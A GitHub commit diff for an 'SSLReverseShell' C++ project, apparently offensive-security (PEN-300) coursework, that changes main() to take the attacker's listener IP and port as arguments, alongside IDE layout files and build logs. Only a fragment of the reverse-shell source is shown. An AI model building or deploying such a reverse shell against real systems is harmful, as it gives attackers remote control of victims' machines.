Skip to content

Commit 70a3a9a

Browse files
committed
Arguments Update
Update To take arguments
1 parent 101a0d2 commit 70a3a9a

29 files changed

+50
-30
lines changed
-2.5 KB
Binary file not shown.
Binary file not shown.

SSLReverseShell/.vs/SSLReverseShell/v17/DocumentLayout.backup.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@
3939
"RelativeDocumentMoniker": "SSLReverseShell\\SSLReverseShell.cpp",
4040
"ToolTip": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
4141
"RelativeToolTip": "SSLReverseShell\\SSLReverseShell.cpp",
42-
"ViewState": "AgIAAAMAAAAAAAAAAAAAAAsAAAAAAAAAAAAAAA==",
42+
"ViewState": "AgIAACYAAAAAAAAAAAAAACsAAAAAAAAAAAAAAA==",
4343
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
4444
"WhenOpened": "2024-09-26T08:45:51.878Z",
4545
"EditorCaption": ""

SSLReverseShell/.vs/SSLReverseShell/v17/DocumentLayout.json

+7-7
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
{
22
"Version": 1,
3-
"WorkspaceRootPath": "C:\\Github-Vixx\\SSLReveseShell\\SSLReverseShell\\",
3+
"WorkspaceRootPath": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\",
44
"Documents": [
55
{
6-
"AbsoluteMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|C:\\Github-Vixx\\SSLReveseShell\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
6+
"AbsoluteMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
77
"RelativeMoniker": "D:0:0:{CFBCCCB3-F5D8-47E5-AA84-40AD41CB8408}|SSLReverseShell\\SSLReverseShell.vcxproj|solutionrelative:SSLReverseShell\\SSLReverseShell.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
88
},
99
{
@@ -24,9 +24,9 @@
2424
"DocumentIndex": 1,
2525
"Title": "apiset.h",
2626
"DocumentMoniker": "C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h",
27-
"RelativeDocumentMoniker": "..\\..\\..\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h",
27+
"RelativeDocumentMoniker": "..\\..\\..\\..\\..\\..\\..\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h",
2828
"ToolTip": "C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h",
29-
"RelativeToolTip": "..\\..\\..\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h",
29+
"RelativeToolTip": "..\\..\\..\\..\\..\\..\\..\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.22621.0\\shared\\apiset.h",
3030
"ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
3131
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|",
3232
"WhenOpened": "2024-09-26T10:51:44.243Z"
@@ -35,11 +35,11 @@
3535
"$type": "Document",
3636
"DocumentIndex": 0,
3737
"Title": "SSLReverseShell.cpp",
38-
"DocumentMoniker": "C:\\Github-Vixx\\SSLReveseShell\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
38+
"DocumentMoniker": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
3939
"RelativeDocumentMoniker": "SSLReverseShell\\SSLReverseShell.cpp",
40-
"ToolTip": "C:\\Github-Vixx\\SSLReveseShell\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
40+
"ToolTip": "C:\\Users\\Vixx\\Desktop\\Tools\\PEN-300\\Extras Advanced\\SSLReverseShell\\SSLReverseShell\\SSLReverseShell.cpp",
4141
"RelativeToolTip": "SSLReverseShell\\SSLReverseShell.cpp",
42-
"ViewState": "AgIAACEAAAAAAAAAAAAAACoAAAAAAAAAAAAAAA==",
42+
"ViewState": "AgIAAGoAAAAAAAAAAAAkwIIAAAABAAAAAAAAAA==",
4343
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
4444
"WhenOpened": "2024-09-26T08:45:51.878Z",
4545
"EditorCaption": ""

SSLReverseShell/SSLReverseShell/SSLReverseShell.cpp

+18-4
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
#include <openssl/ssl.h>
44
#include <openssl/err.h>
55
#include <stdio.h>
6+
#include<iostream>
67
#pragma comment(lib,"WS2_32")
78
#pragma comment (lib, "crypt32")
89
#pragma warning(disable:4996)
@@ -37,12 +38,25 @@ void CleanupSSL()
3738
EVP_cleanup();
3839
}
3940

40-
int main() {
41+
int main(int argc, char* argv[]) {
4142
// Initialize Winsock
4243
WSADATA wsaData;
43-
// listener ip, port on attacker's machine
44-
char* ATTACKER_IP = (char*)"192.168.100.10";
45-
short ATTACKER_PORT = 443;
44+
45+
// listener ip, port on attacker's machine as arguments
46+
if (argc != 3) {
47+
std::cerr << "Usage: " << argv[0] << " <ATTACKER_IP> <ATTACKER_PORT>" << std::endl;
48+
return 1;
49+
}
50+
51+
// Get arguments
52+
char* ATTACKER_IP = argv[1];
53+
short ATTACKER_PORT = static_cast<short>(std::atoi(argv[2]));
54+
55+
// Validate input (optional, basic checks)
56+
if (ATTACKER_PORT <= 0 || ATTACKER_PORT > 65535) {
57+
std::cerr << "Error: Port must be between 1 and 65535." << std::endl;
58+
return 1;
59+
}
4660

4761
WSAStartup(MAKEWORD(2, 2), &wsaData);
4862

SSLReverseShell/SSLReverseShell/x64/Release/SSLReverseShell.Build.CppClean.log

+14-8
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,17 @@ c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\x64\release\sslrever
44
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\x64\release\sslreverseshell.pdb
55
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.ipdb
66
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.iobj
7-
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\cl.command.1.tlog
8-
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\cl.items.tlog
9-
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\cl.read.1.tlog
10-
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\cl.write.1.tlog
11-
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\link.command.1.tlog
12-
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\link.read.1.tlog
13-
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\link.secondary.1.tlog
14-
c:\users\vixx\desktop\tools\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\link.write.1.tlog
7+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.obj
8+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.ipdb
9+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.iobj
10+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\vc143.pdb
11+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\x64\release\sslreverseshell.pdb
12+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\x64\release\sslreverseshell.exe
13+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\cl.command.1.tlog
14+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\cl.items.tlog
15+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\cl.read.1.tlog
16+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\cl.write.1.tlog
17+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\link.command.1.tlog
18+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\link.read.1.tlog
19+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\link.secondary.1.tlog
20+
c:\users\vixx\desktop\tools\pen-300\extras advanced\sslreverseshell\sslreverseshell\x64\release\sslreverseshell.tlog\link.write.1.tlog

SSLReverseShell/SSLReverseShell/x64/Release/SSLReverseShell.exe.recipe

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
<Project>
33
<ProjectOutputs>
44
<ProjectOutput>
5-
<FullPath>C:\Users\Vixx\Desktop\Tools\Extras Advanced\SSLReverseShell\x64\Release\SSLReverseShell.exe</FullPath>
5+
<FullPath>C:\Users\Vixx\Desktop\Tools\PEN-300\Extras Advanced\SSLReverseShell\x64\Release\SSLReverseShell.exe</FullPath>
66
</ProjectOutput>
77
</ProjectOutputs>
88
<ContentFiles />
Binary file not shown.
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
 SSLReverseShell.cpp
2-
C:\Users\Vixx\Desktop\Tools\Extras Advanced\SSLReverseShell\SSLReverseShell\SSLReverseShell.cpp(74,21): warning C4244: 'argument': conversion from 'SOCKET' to 'int', possible loss of data
3-
C:\Users\Vixx\Desktop\Tools\Extras Advanced\SSLReverseShell\SSLReverseShell\SSLReverseShell.cpp(102,50): warning C4267: 'argument': conversion from 'size_t' to 'int', possible loss of data
2+
C:\Users\Vixx\Desktop\Tools\PEN-300\Extras Advanced\SSLReverseShell\SSLReverseShell\SSLReverseShell.cpp(88,21): warning C4244: 'argument': conversion from 'SOCKET' to 'int', possible loss of data
3+
C:\Users\Vixx\Desktop\Tools\PEN-300\Extras Advanced\SSLReverseShell\SSLReverseShell\SSLReverseShell.cpp(116,50): warning C4267: 'argument': conversion from 'size_t' to 'int', possible loss of data
44
Generating code
55
Previous IPDB not found, fall back to full compilation.
6-
All 7 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
6+
All 225 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
77
Finished generating code
8-
SSLReverseShell.vcxproj -> C:\Users\Vixx\Desktop\Tools\Extras Advanced\SSLReverseShell\x64\Release\SSLReverseShell.exe
8+
SSLReverseShell.vcxproj -> C:\Users\Vixx\Desktop\Tools\PEN-300\Extras Advanced\SSLReverseShell\x64\Release\SSLReverseShell.exe
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
C:\Users\Vixx\Desktop\Tools\Extras Advanced\SSLReverseShell\SSLReverseShell\SSLReverseShell.cpp;C:\Users\Vixx\Desktop\Tools\Extras Advanced\SSLReverseShell\SSLReverseShell\x64\Release\SSLReverseShell.obj
1+
C:\Users\Vixx\Desktop\Tools\PEN-300\Extras Advanced\SSLReverseShell\SSLReverseShell\SSLReverseShell.cpp;C:\Users\Vixx\Desktop\Tools\PEN-300\Extras Advanced\SSLReverseShell\SSLReverseShell\x64\Release\SSLReverseShell.obj
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.41.34120:TargetPlatformVersion=10.0.22621.0:
2-
Release|x64|C:\Users\Vixx\Desktop\Tools\Extras Advanced\SSLReverseShell\|
2+
Release|x64|C:\Users\Vixx\Desktop\Tools\PEN-300\Extras Advanced\SSLReverseShell\|

0 commit comments

Comments
 (0)